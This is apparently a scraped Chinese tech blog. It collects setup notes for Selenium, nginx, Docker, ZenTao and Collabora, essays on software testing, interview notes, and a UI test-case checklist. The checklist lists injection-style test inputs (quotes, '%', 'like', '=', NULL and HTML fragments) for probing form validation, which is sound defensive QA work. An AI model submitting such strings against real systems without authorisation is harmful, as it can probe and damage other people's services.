java.base/java.util.stream.ReferencePipeline.findFirst(ReferencePipeline.java:543) at org.openqa.selenium.remote.ProtocolHandshake.createSession(ProtocolHandshake.java:128) at org.openqa.selenium.remote.ProtocolHandshake.createSession(ProtocolHandshake.java:74) at org.openqa.selenium.remote.HttpCommandExecutor.execute(HttpCommandExecutor.java:136) at org.openqa.selenium.remote.service.DriverCommandExecutor.execute(DriverCommandExecutor.java:83) at org.openqa.selenium.remote.RemoteWebDriver.execute(RemoteWebDriver.java:552) at org.openqa.selenium.remote.RemoteWebDriver.startSession(RemoteWebDriver.java:213) at org.openqa.selenium.ie.InternetExplorerDriver.run(InternetExplorerDriver.java:221) at org.openqa.selenium.ie.InternetExplorerDriver.(InternetExplorerDriver.java:213) at org.openqa.selenium.ie.InternetExplorerDriver.(InternetExplorerDriver.java:150) at Test.main(Test.java:7) 解决方法 ### 解决Selenium+eclips报:Exception in thread "main" org.openqa.selenium.SessionNotCreatedException: Unexpected error launching Internet Explorer. Protected Mode settings are not the same for all zones. Enable Protected Mode must be set to the same value (enabled or disabled) for all zones. 1)eclipse报错内容 Started InternetExplorerDriver server (64-bit) 3.141.59.0 Listening on port 33136 Only local connections are allowed Exception in thread "main" org.openqa.selenium.SessionNotCreatedException: Unexpected error launching Internet Explorer. Protected Mode settings are not the same for all zones. Enable Protected Mode must be set to the same value (enabled or disabled) for all zones. Build info: version: '3.141.59', revision: 'e82be7d358', time: '2018-11-14T08:25:48' System info: host: 'DESKTOP-1UQSF4U', ip: '192.168.1.21', os.name: 'Windows 10', os.arch: 'amd64', os.version: '10.0', java.version: '13.0.2' Driver info: driver.version: InternetExplorerDriver remote stacktrace: at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62) at java.base/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) at java.base/java.lang.reflect.Constructor.newInstanceWithCaller(Constructor.java:500) at java.base/java.lang.reflect.Constructor.newInstance(Constructor.java:481) at org.openqa.selenium.remote.W3CHandshakeResponse.lambda$errorHandler$0(W3CHandshakeResponse.java:62) at org.openqa.selenium.remote.HandshakeResponse.lambda$getResponseFunction$0(HandshakeResponse.java:30) at org.openqa.selenium.remote.ProtocolHandshake.lambda$createSession$0(ProtocolHandshake.java:126) at java.base/java.util.stream.ReferencePipeline$3$1.accept(ReferencePipeline.java:195) at java.base/java.util.Spliterators$ArraySpliterator.tryAdvance(Spliterators.java:958) at java.base/java.util.stream.ReferencePipeline.forEachWithCancel(ReferencePipeline.java:127) at java.base/java.util.stream.AbstractPipeline.copyIntoWithCancel(AbstractPipeline.java:502) at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:488) at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:474) at java.base/java.util.stream.FindOps$FindOp.evaluateSequential(FindOps.java:150) at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:234) at java.base/java.util.stream.ReferencePipeline.findFirst(ReferencePipeline.java:543) at org.openqa.selenium.remote.ProtocolHandshake.createSession(ProtocolHandshake.java:128) at org.openqa.selenium.remote.ProtocolHandshake.createSession(ProtocolHandshake.java:74) at org.openqa.selenium.remote.HttpCommandExecutor.execute(HttpCommandExecutor.java:136) at org.openqa.selenium.remote.service.DriverCommandExecutor.execute(DriverCommandExecutor.java:83) at org.openqa.selenium.remote.RemoteWebDriver.execute(RemoteWebDriver.java:552) at org.openqa.selenium.remote.RemoteWebDriver.startSession(RemoteWebDriver.java:213) at org.openqa.selenium.ie.InternetExplorerDriver.run(InternetExplorerDriver.java:221) at org.openqa.selenium.ie.InternetExplorerDriver.(InternetExplorerDriver.java:213) at org.openqa.selenium.ie.InternetExplorerDriver.(InternetExplorerDriver.java:150) at Test.main(Test.java:7) 2)解决方法: 进入Internet选项 ### 子域名重定向到主域名(nginx) 1)在nginx配置文件添加 rewrite ^/(.*) http://www.saiita.com.cn/$1 permanent; 2)重启nginx ### Selenium+Java+Eclipse环境部署 1)百度搜索selenium,找到官网下载,选择对应不版本的Selenium 2)eclipse导入 Selenium 的jar包 client-combined-3.141.59 client-combined-3.141.59-sources byte-buddy-1.8.15 commons-exec-1.3 guava-25.0-jre okhttp-3.11.0 okio-1.14.0 导入eclipse工程,并配置jar包 ### 解决Nextcloud上传文件报413错误 1)首先打开配置文件 vim /etc/nginx/nginx.conf 2)在http{}里面添加下面配置 # set client body size to 2M # client_max_body_size 512M; 3)重启nginx sudo systemctl restart nginx 这样就可以正常上传小于512M的文件了。 ### Java-数组n个数字,输出全部n!排列 import java.net.StandardSocketOptions; import java.util.Arrays; public class Test { static int k=0; public static void main(String[] args) { //第n int a[]={1,2,3,4,5}; permutations(a, 0,4); } public static void permutations(int[]a,int m,int n) { if (m == n) { k++; System.out.print("第"+k + "个:"); for (int i = 0; i <= n; i++) { System.out.print(a[i]); } System.out.println(); } else { for (int i = m; i <= n; i++) { int temp = a[m]; a[m] = a[i]; a[i] = temp; permutations(a, m + 1, n); temp = a[m]; a[m] = a[i]; a[i] = temp; } } } } 输出结果 第1个:12345 第2个:12354 第3个:12435 第4个:12453 第5个:12543 第6个:12534 第7个:13245 第8个:13254 第9个:13425 第10个:13452 第11个:13542 第12个:13524 第13个:14325 第14个:14352 第15个:14235 第16个:14253 第17个:14523 第18个:14532 第19个:15342 第20个:15324 第21个:15432 第22个:15423 第23个:15243 第24个:15234 第25个:21345 第26个:21354 第27个:21435 第28个:21453 第29个:21543 第30个:21534 第31个:23145 第32个:23154 第33个:23415 第34个:23451 第35个:23541 第36个:23514 第37个:24315 第38个:24351 第39个:24135 第40个:24153 第41个:24513 第42个:24531 第43个:25341 第44个:25314 第45个:25431 第46个:25413 第47个:25143 第48个:25134 第49个:32145 第50个:32154 第51个:32415 第52个:32451 第53个:32541 第54个:32514 第55个:31245 第56个:31254 第57个:31425 第58个:31452 第59个:31542 第60个:31524 第61个:34125 第62个:34152 第63个:34215 第64个:34251 第65个:34521 第66个:34512 第67个:35142 第68个:35124 第69个:35412 第70个:35421 第71个:35241 第72个:35214 第73个:42315 第74个:42351 第75个:42135 第76个:42153 第77个:42513 第78个:42531 第79个:43215 第80个:43251 第81个:43125 第82个:43152 第83个:43512 第84个:43521 第85个:41325 第86个:41352 第87个:41235 第88个:41253 第89个:41523 第90个:41532 第91个:45312 第92个:45321 第93个:45132 第94个:45123 第95个:45213 第96个:45231 第97个:52341 第98个:52314 第99个:52431 第100个:52413 第101个:52143 第102个:52134 第103个:53241 第104个:53214 第105个:53421 第106个:53412 第107个:53142 第108个:53124 第109个:54321 第110个:54312 第111个:54231 第112个:54213 第113个:54123 第114个:54132 第115个:51342 第116个:51324 第117个:51432 第118个:51423 第119个:51243 第120个:51234 ### 群晖后台登陆地址 记录下群晖后台登陆地址,好几天没登陆忘记IP的端口了 群晖后台登陆路径:192.168.31.20:5000 就是群晖ip:5000 ### 解决centos无法删除.user.ini chattr -i .user.ini rm .user.ini ### 解决Docker:Failed to start docker.service: Unit not found问题 1:先更新系统 yum update 2.卸载Docker,然后重启系统,重新安装docker 只适合刚安装的docker。 ### Docker常用命令行 作用命令行查看docker信息 decker version docker info 搜索镜像 docker search (image-name) 查看镜像的历史版本 docker history (image-name) 将镜像推送到registry docker push (image-name) 删除镜像 docker rmi 修改镜像的tag标签 docker tag image-id imagename:tag 从tar文件中载入镜像 docker load -i test.tar 查看镜像 docker images 关闭运行中的容器 docker stop ID(或者容器名字) 开启容器 docker start ID 重启运行中的容器 docker restart ID 移除容器(先关闭再删除) docker rm ID 杀死容器的主进程 docker kill [options] container 停止所有container docker stop $(docker ps -a -q) 移除所有container docker rm $(docker ps -a -q) 重启docker sudo systemctl restart docker 守护进程重启 sudo systemctl daemon-reload 关闭docker sudo systemctl stop docker ### Jmeter下载运行 1.官网下载 https://jmeter.apache.org/ 2.选择 apache-jmeter-5.2.1.zip 下载 3.运行 进入jmeter的bin文件夹,双击运行ApacheJMeter ### JDK环境部署 1.下载地址 本地下载 1585491013-jdk-8u241-windows-x64下载 根据自己的系统下载相应的JDK 2.点击我的电脑 3.进入高级系统设置 4.点击环境变量 5.在系统变量添加变量名JAVA_HOME,填上JDA安装目录 6.系统变量添加 CLASSPATH变量 .;%JAVA_HOME%libdt.jar;%JAVA_HOME%libtools.jar;  7.在PATH变量后面添加 %JAVA_HOME%bin;%JAVA_HOME%jrebin; 8.在CMD上输入java -version,查看是否已经安装好 ### 宝塔+owncloud+Collabora Office 文档在线操作 1)宝塔安装docker 2)宝塔下载collabora/code sudo docker pull collabora/code 3)Collabora添加信任域名(owncloud的域名) sudo -i docker run -t -d -p 127.0.0.1:9980:9980 -e 'domain=192.168.31.157|cloud.saiita.com.cn' -e "username=admin" -e "password=密码" --restart always --cap-add MKNOD collabora/code 4)宝塔添加 Collabora 域名 5)修改nginx的配置文件 server { listen 443 ssl; server_name collabora.example.com; #证书的路径 ssl_certificate /path/to/ssl_certificate; ssl_certificate_key /path/to/ssl_certificate_key; # static files location ^~ /loleaflet { proxy_pass https://localhost:9980; proxy_set_header Host $http_host; } # WOPI discovery URL location ^~ /hosting/discovery { proxy_pass https://localhost:9980; proxy_set_header Host $http_host; } # main websocket location ~ ^/lool/(.*)/ws$ { proxy_pass https://localhost:9980; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "Upgrade"; proxy_set_header Host $http_host; proxy_read_timeout 36000s; } # download, presentation and image upload location ~ ^/lool { proxy_pass https://localhost:9980; proxy_set_header Host $http_host; } # Admin Console websocket location ^~ /lool/adminws { proxy_pass https://localhost:9980; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "Upgrade"; proxy_set_header Host $http_host; proxy_read_timeout 36000s; } } 6)通过宝塔重启nginx 7)owncloud配置 Collabora 然后就可以使用 Collabora Office ### 大疆 AIR 飞行器对频位置 大疆AIR 对频位置在灯位置,按下就可以配对 ### 宝塔-搭建禅道 环境规格 1:已经搭建好宝塔服务 2:nginx+php 环境部署 1:宝塔搭建网站,设置好域名 2:从禅道官网下载开源版软件 官网:https://www.zentao.net/download/80199.html 下载 禅道项目管理软件源码下载 的官方下载源 3.把下载的文件上传到宝塔设置好的文件夹下面 4.进入网站设置,设置网站目录为/www 5.设置伪静态 代码 if (!-d $request_filename){ set $rule_0 1$rule_0; } if (!-f $request_filename){ set $rule_0 2$rule_0; } if ($rule_0 = "21"){ rewrite /(.*)$ /index.php/$1 last; } 6.通过宝塔重启nginx 7.进入设置好的域名进行禅道设置 ### Windows10设置显示器刷新频率 1.在桌面点击右键,在菜单栏选择显示设置 2.点击高级显示设置 3.点击显示器1适配器属性 4.选择监视器,设置屏幕刷新频率 ### 修改Windows软件默认安装路径 快捷键 Win + R 打开运行窗口,输入 regedit : 找到指定注册表项 HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion 项,点击CurrentVersion,如下: 修改默认路径参数值 点击 CurrentVersion 右侧选项中的 ProgramFilesDir 及 ProgramFilesDir (x86) 项,并修改值为自定义默认目录 ### 百度ECharts Java try { List list = getRedmineBug.getDaysInfo(); JSONArray days = JSONArray.fromObject(list); response.getWriter().println(days); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } JavaScript
### Linux环境安装禅道 一、下载部署安装包 wget http://dl.cnezsoft.com/zentao/10.6/ZenTaoPMS.10.6.stable.zbox_64.tar.gz 二、解压安装 1:先创建opt文件夹。 mkdir /opt 2:解压。 tar -xvf ZenTaoPMS.10.6.stable.zbox_64.tar.gz 3:启动禅道。 cd /opt/zbox sudo ./zbox start 4:修改禅道用户和用户组。 chown -R www-data:www-data zbox 5:修改apache2和MySQL端口。 /opt/zbox/zbox -ap 8080 //修改apache端口 /opt/zbox/zbox -mp 3307 //修改MySQL端口 sudo ./zbox restart //重启禅道 6:修改apache2用户组和用户 vim /opt/zbox/etc/apache/httpd.conf 找到User、Group修改为www-data User www-data Group www-data 7:Nginx配置 vim /etc/nginx/sites-enabled 输入配置 server { listen 8080; server_name localhost; location / { proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass http://0.0.0.0:8090/; } } 8:登陆 http://ip:8080 9:去掉版本选择,直接进入登陆页面 vim /opt/zbox/etc/apache/httpd.conf 原来是DocumentRoot "D:Apache24htdocs“ 修改为DocumentRoot "D:Apache24htdocszentaopmswww" ### 工作心得 加入XXX项目组3个月以来,本人成长了很多。很荣幸自己能够成为其中的一员,感谢各位领导和同事这段时间以来的帮助。总结了一些微不足道的工作心得。 ①✅业务需求的理解深度 测试工程中对业务需求的理解要比产品和开发人员更加深入,并且要站在用户的角度考虑需求。如果测试过程中对业务需求理解不够深入,有可能因为测试,开发,产品对产品需求理解不一致导致浪费大量时间去核对需求。因此,测试之前需要对业务需求很深入地理解。 ②✅测试过程中的沟通 作为一名合格的测试人员,学会沟通是最基本的业务能力。需要深入思考,并积极发表自己的意见,以及与项目组的沟通。 1、 需求评审时,需要积极参与,积极思考、勇于发表对产品的见解 2、 测试过程中与开发确认问题时,需要积极沟通,协助开发定位问题; 3、 测试缺陷的提交需要站在用户角度与开发沟通,这样可以确保开发认同缺陷,更具有说服力。 ③✅解决问题方法 测试中遇到的问题,可以给自己定个时间。当这段时间自己还没有很好的解决掉,就需要求助周边同事,快速解决问题,这样可以很快的解决问题,而不是浪费大量时间阻塞在 ④✅主动学习 测试工作中不能只专注自己某个测试领域,还需要主动对测试新知识的学习。 ⑤✅测试经验总结 (文档) 测试经验总结(文档)也是测试基本能力之一,如果不会去进行测试经验的总结,输出文档,有可能在测试任务中反复遇到同一个问题,反复寻找解决问题方法,这样会浪费大量时间,增加自己的工作负担。 ⑥✅测试要注重细节 测试任务中不及要测试覆盖测试用例和需求上,还需要站在用户角度考虑问题,注重细节上的问题。 ⑦✅测试团队重要性 测试工作不只是一个人的工作,而是团队,在测试过程中遇到的困难可以向其他同事求助,而可以帮助其他同事,这样才能更好、快速的成长,完成测试任务。 ### 如何做好测试 在平常的过程中,经常会听到有的测试人员这样的问题: 问题1:测试进行到中后期了,可我总觉得测试的不充分,总想着再从头再测试一下才放心; 问题2:我经常加班,可还是不能保证测试的速度和质量; 问题3:我从项目一开始就制定的计划不能严格的落实。 类似的抱怨或者苦恼,我想大部分做测试的人都会有此感触吧;那么在我看来,上面的情况归根结底是我们的测试效率太低了,要想去除上面的场景,我们就必须提高测试效率; 在说到测试效率的时候,我们测试人员首先要明确效率的真正意义,效率不等同于速度,效率是由速度加质量加进度组成,提高效率不仅仅要提高速度,还要保证测试的质量和项目的进度。 那么我们要如何做才能提高我们的测试效率呢;结合我自身经历的过程,我总结出以下几点: 一、测试人员在测试前期要充分的了解和把握需求 一个测试人员在开始着手测试或者测试开始之前,要确保自己对项目的需求有充分的正确的理解,做到知己知彼,方能百战不殆,游刃有余;一个没有掌握需求的测试人员,他所做的工作都是没有实际意义的。对于那种项目周期跨度比较大的项目,提取出重要的测试点和功能点记录下来,才能让你在以后能快速的熟悉需求;俗话说好记忆不如烂笔头嘛 二、要多和项目经理,开发甚至是客户经理沟通 我们不仅要沟通,还要进行有效的沟通,即在双方都对业务或者问题有很好的理解掌握的基础上进行沟通。而且测试人员之间也要进行相互的沟通,才能保证整个测试工作在正确的轨道上行进;测试人员也要和开发人员进行有效沟通,开发人员会告知你他们所做的调整可能会影响哪些模块,让测试人员在测试的时候有一个侧重点,保证项目的测试质量。测试人员也需要和客户经理沟通,多了解客户的和用户的需求,多关注用户场景,帮助测试人员更好的测试项目,提交一个符合用户需求,让用户满意的产品。 三、根据项目的整体情况以及后续的变化不断的调整我们的测试计划 虽然在测试前我们制定了详细的测试计划,但计划没有变化快,真正实施测试计划的时候,不管是环境,人员还是需求等等,都有可能发生变化,这些因素迫使我们不能完全按照原先的计划进行测试。这个时候不要固执的抱着原先的计划一成不变,而要根据实际的情况,合理的调整原计划,让其适应新的形式,更好的开展测试工作。 四、每次测试结束之后都要总结和反思 反思是纠正错误的第一步,不断反思,才能不断完善。测试人员在每次的测试结束之后,都要反思本次的测试情况,包括本次测试了什么,关注了什么,遇到了哪些问题,有哪些新的调整,落实的情况如何等等,以方便自己在下一轮测试的时候不会手忙脚乱,没有侧重点,毫无头绪的开展工作,也能更好的保证自己的测试质量。 五、在整个测试过程中,要学会调整自己的状态,时刻保持愉悦的心情工作 做任何事情,态度决定一切,你以什么样的心态和态度做事,将直接左右着你的做事质量。测试工作有的时候是繁琐重复枯燥无味的,我们机械的点击鼠标执行用例,或者我们不断重复的做某个操作,反复的回归验证已经重复了很多次的场景,这样的生活可能会枯燥无味,让你丧失激情。如果你在这样的心境下进行测试工作,那么将很难保证测试的质量和效率。所以我们要学会调整自己的心情,调整自己的心态,以一个激情向上,愉悦的心情去开展测试工作。 适当的引入自动化测试,减少繁琐重复的测试工作。手工测试固然能保证测试的质量,但也是对人耐性的一个考验,而自动化测试既能保证测试质量,又能节省时间。对程序的回归测试更方便。可以运行更多繁琐复杂的测试。可以执行一些手工测试困难或者不可能进行的测试。可以开展兼容性测试,减少实际的兼容性测试时间以及提高测试的覆盖率。 所以说为了保证测试的质量和进度,提高测试效率,我们可以适当的引入自动化测试。 当然,传统的手工测试是必不可少的,以手工测试为主,自动化为辅。 ### 雷克沙固态硬盘Lexar SSD Dash软件下载地址 🔻雷克沙固态硬盘Lexar SSD Dash软件下载地址🔻 ### 记录几年前面试的内容 一、网易游戏测试(雷火部门) 1.1、面试内容 自我介绍。 为什么要离职。 在组里工作内容。 参与需求分析。 组织人力进行测试用例编写。 组织人力进行新需求测试。 处理线上紧急Bug。 培养新人。 面试。 搭建测试用例管理工具(Excel→Testlink→禅道) 会根据简历来提问。 会什么计算机语言。 Java python shell 玩什么游戏。 绝地求生 战争雷霆 列王的纷争 根据网易手游提出问题。 网易会加班是否接受。 接受加班 还有什么要提问的。 结束。 1.2、组里工作内容 会问工作内容。 测试软件框架。 链接 脚本用什么语言编写的。 Python和Shell语言编写脚本。 尝试过用Java编写脚本。 用什么语言写过什么脚本。 用Python和Shell脚本编写过统计Bug数量脚本。 1.3、玩游戏 玩什么游戏 玩游戏时间有多久 游戏的模式有那些 你最喜欢玩什么模式 为什么你喜欢玩这种游戏 有玩过网易的手游吗 1.4、网易手游提问题 让你测试阴阳师抽啥的,SSS什么的。 如何测试阴阳师抽东西遇到的问题。 如何测试。 二、蚂蚁金服 2.1、支付宝-蚂蚁金服 自我介绍。 对支付宝的了解。 为什么要离职,为什么要进支付宝。 在原来的公司做过什么项目。 组织过16个项目。 2.2、做过什么项目: 这个项目要解决的问题是什么? 第一:部门之间的协调问题(包括协同工具)。 要解决部门之间的协同问题。 第二:规范测试流程。 搭建测试流程和处理Bug流程。 规范问题单和提交问题单流程。 第三:解决代码迭代,新需求的基本功能实现 解决新需求、代码迭代对需要的基本功能实现。 要解决面向用户的UI问题(用户体验)。 要解决程序兼容性问题。 要解决性能上对基本功能的影响。 测试周期对线上产品的影响。 要解决基本功能在边界值上出现的问题。 第四:要快速解决线上出现的紧急Bug。 第五:要提高测试效率。 第六:要解决测试人员的技能提升。 第七:要解决测试用例 这个项目的难点是什么? 测试效率问题,缩短测试周期(测试人员不足)。 目前处于手工测试,需要自动化辅助测试。 存在漏测风险。 为什么出现BUG? 开发人员开发代码不严谨。 开发对需求理解不够。 开发,测试,产品没考虑到的细节(遗漏)。 用户体验。 测试用例没有完全覆盖。 这个项目的内容是什么? 代码迭代(PHP转移到Java)。 新需求开发。 项目的主要工作是什么? ### 整理关于UI测试用例 功能条件测试步骤测试数据预期结果备注搜索或查询 单独遍历各查询条件,测试按各查询条件是否都能够查询出相应的值. 查询出符合条件的记录  设置界面上所有查询条件进行查询,单击查询按钮后,测试执行查询操作后,查询条件是否能保留 能够执行查询,且已输入/选择的查询条件能够保留  随机对各查询条件进行组合查询,测试是否能够实现组合查询各查询条件下存在相应的值能够执行查询  在各字符串类型字段中输入非精确值进行查询,测试是否能够实现糊模查询各查询条件下存在相应的值能够执行查询  测试是否控制了各种非法字符的查询输入@#$%^&*()

~'"%-like=?等符号查询不到任何记录  设置条件查询出记录后,翻到最后一页,再更改查询条件,测试各查询条件查询出记录后再切换条件查询是否正确。第一个查询条件查询出来的记录页数必须多于第二个查询条件查询出来的记录页数查询出相应的记录第一次查询条件范围比第二次大,不一定说要存在分页 设置查询条件,点击查询按钮,测试未查询到任何记录时,是否会给予相应的提示该查询条件下无任何记录提示‘未查到任何记录,请放大查询条件试试!’  设置查询条件,按回车键,测试是否支持回车查询 执行查询条件可针对特定的场景不一定要实现 输入各查询条件,前中后包含空格 前后包含空格去掉空格查询,中间包含空格查不出记录  不输入或输入空格查询 提示请输入关键字查询 或 默认查询出所有记录 有日期查询字段输入查询值,测试存在日期型查询字段时,查询是否正确存在输入范围内的记录.能够执行查询 输入查询值,测试当存在开始日期及结束日期进行查询1、开始日期大于结束日期2、开始日期等于结束日期3、开始日期小于结束日期,但两者格式不一1、给予提示信息。2、能够正常查询。3、进行格式化后能够正常查询 超日期范围的查询输入1890-01-01或2999-01-01进行查询查询不到任何记录 输入非完整的日期或其它数据,测试对日期型字段查询时,是否对非法数据进行了控制如:2015-08~2015-09-30、205-02-02、2015-7-7、2015-07-或其他数据汉字、字母、特殊字符或随便输入数字进行了格式化输入或给予明确提示 输入不存在的日期进行查询2015-02-30、2015-13-01、2015-07-32给予提示信息 输入不符合项目设定的日期类型,是否会做格式转换如要求格式是2015-07-20,输入的是2015/07/20、2015.07.20等自动转换或者不符合格式要求 有重置功能输入查询条件后,点重置 重置后,已输入或已选择的值都恢复为默认值 不输入或输入空格搜索 提示请输入关键字 日期格式(年月日形式) 输入正确的日期如:2011-5-11验证通过,输入正确  测试对日期数据的溢出是否进行了控制?输入符合要求的年月,输入32日,如1989-11-32给予提示信息,不允许提交  输入符合要求的年日,输入13月,如1989-13-12  输入符合要求的年,月输入4、6、9、11月,日输入31日  输入符合要求的非闰年,月输入2,日输入29,如2009-2-29  输入符合要求的闰年,月输入2,日输入30,如2008-2-30  测试是否对日期型数据进行了格式化输入?输入不合法的日期,如2009-09、2009-09- 、200-2-2等给出错误提示  输入不符合该项目的日期格式,(如项目日期格式为2009-10-10,而输入的是2009/10/10、2009.10.10等)  随便输入数字,如1、22、456等  测试是否对时间型数据是否进行了格式化输入?输入空白进行了格式化输入,不可以输入非时间之外的数据  输入特殊字符串NULL、null、 空格的转义字符;
;;;< /tr>等  输入汉字或字母 输入框必填输入中英文空格 如果必填的话:提示不能为空;如果输入框中内容不符合标准,建议在光标离开输入框时便给出提示信息,而不是操作下一步操作时在给出,如保存按钮不输入任何字符或者输入空格 提示不能为空 输入超长字符,超过边界值的,看页面显示 (不符合长度要求)大于或小于制定长度给予提示信息 在各输入框中输入相应的值,测试输入框对空格的处理机制(空格)1、前面存在空格2、后面存在空格3、前/后都存在空格4、中间存在空格1、2、3能够正常去掉空格保存;4 连同空格一起进行保存 测试是否对各输入框的非法字符进行了控制输入特殊字符串NULL、null、 空格的转义字符;
;;;< /tr>;;;;等1、不允许输入或提示‘你输入的 **中存在非法字符,请重新输入2、允许输入保存后,能够正常显示密码输入框输入数字,测试密码是否转换成星号或其它符号 能将密码转换成星号或其他字符按tab键,测试输入框对快捷键的使用 光标能在输入框中来回切换若只允许输入字母,尝试输入数字;反之;尝试输入字母 提示输入字符不符合要求利用复制,粘贴等操作强制输入程序不允许的输入数据 给予提示信息上传图片(上传文件)浏览/选择按钮文件为jpg或gif格式图片,大小为<=5M文件类型正确,文件大小合适jpg或gif的格式图片,文件大小为4.9M上传成功文件大小小于要求文件类型正确,文件大小不合适jpg或gif的格式图片,文件大小为5.1M上传的附件中大小不能超过5M 文件类型正确,文件大小合适(临界值)jpg或gif的格式图片,文件大小为5M上传成功文件大小刚好符合要求文件类型错误,文件大小合适的校验doc;.xls;ppt;bmp;jpeg;psd;tiff;tga;png;swf;svg;pcx;dxf;wmf;emf;lic;eps;.txt等格式文件,文件大小合适提示“只能上下jpg或gif格式图片 文件类型和文件大小合法上传一个0kb的图片提示信息:“请重新上传文件,或者是不能上传0kb的图 文件类型和文件大小合法上传一个正在使用中的图片(即打开该图片,在上传该图片)上传成功 文件类型和文件大小合法手动输入一个存在的图片地址上传成功 文件类型和文件大小合法手动输入一个不存在的图片地址提示:“请正确选择要上传的文件 文件类型和大小都合法手动输入一个存在的图片名称提示:“请正确选择要上传的文件的路径”  上一次上传失败后,再进行上传操作,测试上传失败后,是否还能继续上传 能够正常进行上传先上传失败,在符合要求上传看是否能上传成功数据文件导入 选择一个文件,点击上传按钮,测试是否能够完成数据导入功能?文件内的数据都符合格式正常完成导入,导入成功后,给予明确的提示信息对数据文件的导入,如果是Excel文件,存在多个sheet,是否可以导入a、两个sheet内容一致;b、一个sheet内容符合要求,一个为空白;c、两个sheet内容不一致,个字段数据都是真实存在的; 选择一个文件,点击上传按钮,测试导入文件中的数据异常,导入是否能正确判断?文件内的数据部分符合要求,部分不符合要求检查完后,能够给予有多少不符合条件的记录提示,且可以点击链接查看具体不符合条件的记录;提供继续/终止两种选择;继续则忽略不符合条件记录继续导入;终止则停止本次导入,退出本次导入 选择一个文件,点击上传按钮,测试导入文件中的数据异常,导入是否能正确判断?文件内的数据全部不符合要求同上 选择一个文件,点击上传按钮,测试导入文件中的数据异常,导入是否能正确判断?文件内的数据关键字段值在数据库中不存在同上 选择一个文件,点击上传按钮,测试导入文件中的数据异常,导入是否能正确判断?文件内的数据格式不符(如匹配字段名、表名等不同)同上比如要求输入名字和手机号,文件内确是名字和身份证文件的导出或下载(考虑文件名内容是否有乱码) 导出文件名长度 windows系统支持256位的文件命名。可以由下划线数字字母等组成,不能有特殊字符。平时取名时按照文件夹中存放的文件作用类型取名就好啦如果文件内含时间段最好文件名中包含时间 导出文件是否为空 看实际情况,若原本就没数据,导出可以为空,但是必须带各个字段名,数据可为空  导出文件名为特殊字符的情况 不该存在特殊字符导出要采用多个浏览器检测,之前碰到在火狐浏览器正常,却在其他浏览器显示乱码 导出全部资料的情况,导出的信息是否正确 信息要正确  导出部分资料的情况,导出的信息是否正确 信息要正确  导出大量数据时的时间是否在合理的时间范围内    导出目的磁盘空间已满的情况下,导出是否有友好的处理方式 可以给予友好的提示,存储空间不足等  导出目的的文件夹为只读的情况下,导出时是否有友好的的提示信息先将目标文件夹状态改成只读形式要提示 分页 输入页数,点击go按钮,测试是否能执行翻页操作 正常转向所输入的页面,且当前页数及当前页的数据显示正确  点击首页、上一页、下一页、未页,测试各页面转换是否正常 正常进行转向,且当前页数及当前页数据显示正确  测试在各边界面值再进行翻页是否正确1、已在首页,点击首页或上一页;2、已在未页,点击未页或下一页;能够正常提示或不会报错,当前页数及当前页的数据显示正确  输入页数,点击go按钮,测试是否对所输入的页数进行了判断1、输入非正整数2、输入超出的页数3、输入超大的数值 4、输入字符、中文 5、输入特殊字符1、4、5限制不允许输入;2、3自动转到未页或给予提示  对数据操作(增删)后是否正确显示数据对分页列表中存在删除操作时,删除几条记录,页数是否更新页数更新,信息正确显示  搜索后执行翻页,是否正确 正常 全选 点击全选按钮,测试是否实现了全选当前页的功能1、部分记录已被选中 2、全选前没有被选中的记录当前页的全部记录被选中  点击全选按钮后,再点击全选按钮,测试全选按钮勾选状态变更是否正确 当前页的全部记录被取消选中  点击全选按钮后,再去掉某些记录的勾选,测试全选按钮勾选状态变更是否正确 当前页的全选按钮取消选中  将当前页的所有记录单个单个全部勾选,测试全选按钮勾选状态变更是否正确 当前页的全选按钮被选中 删除 选择一条记录,执行删除操作,测试是否能正常进行删除操作 能够正常完成删除操作  不选择任何记录,直接点击删除按钮,测试是否对无选择记录进行删除做了控制 提示‘请选择一条记录!’或删除按钮呈灰色显示或默认选择一条记录  选择一条记录,点击删除按钮,测试删除时是否会给予相应的提示,并按所选项执行 提示‘您是否真的要删除所选中的记录?’,点击取消,不进行任何操作,回到原界面,点击确定删除,界面刷新不显示此条记录,停留在所删除记录所在页,总记录数-1建议有这个友好提示 设置条件查询出记录后翻页,选一条记录,点击【删除】并确定删除,测试删除边界值是否正常翻页后,只存在一条记录界面正常刷新至上一页,页数等于原页数-1。  勾选多条记录,点击删除按钮,在弹出的提示框中,点击确定,测试是否可以进行批量删除多条数据 能够正常批量删除多条数据  选择记录进行删除,测试当删除相关连的信息时,是否给予明确的提示信息1、所删除记录被其它引用,不允许被删除。2、所删除记录被其它引用,允许被删除。1、给予明确提示信息,不允许被删除(不给予确认删除的提示信息)2、给予明确提示信息,让用户确认是否删除,可选择是否继续,且被引用的信息也跟着删除掉了 保存 进行新增或修改操作,输入相关内容后,多次提交保存,测试是否限制了重复保存重复点击保存或 快速点击在提交反馈之前,按钮呈灰色显示不允许点击  进行保存操作,测试当保存操作所费时间较长时,是否能提供进度条当反馈时间达到12S以上时。给予‘正在处理中’的进度条提示 修改有单独的修改按钮或列表显示,每一行都有一个修改按钮(部分使用)勾选一条记录,进行修改保存,测试是否能正常进行修改操作 能够正常进行修改保存,更新数据库中相应的值 未选择记录,点击修改按钮,测试是否对无选择记录进行修改做了控制 提示‘请选择一条记录!’或修改按钮呈灰色显示或默认选中第一条记录 选择一条记录,点击修改按钮,进行修改,点击确定按钮,测试是否对重复的记录进行了控制将关键字段修改成一个已存在的值提示‘该XX已存在,请重新输入 !’,光标停在XX输入框处 选择一条记录,点击修改按钮,再点击返回按钮,测试取消修改时是否会给予提示不修改任何内容直接返回原记录所在页 勾选多条记录,点击修改按钮,测试是否对勾选多个记录进行修改进行了控制。 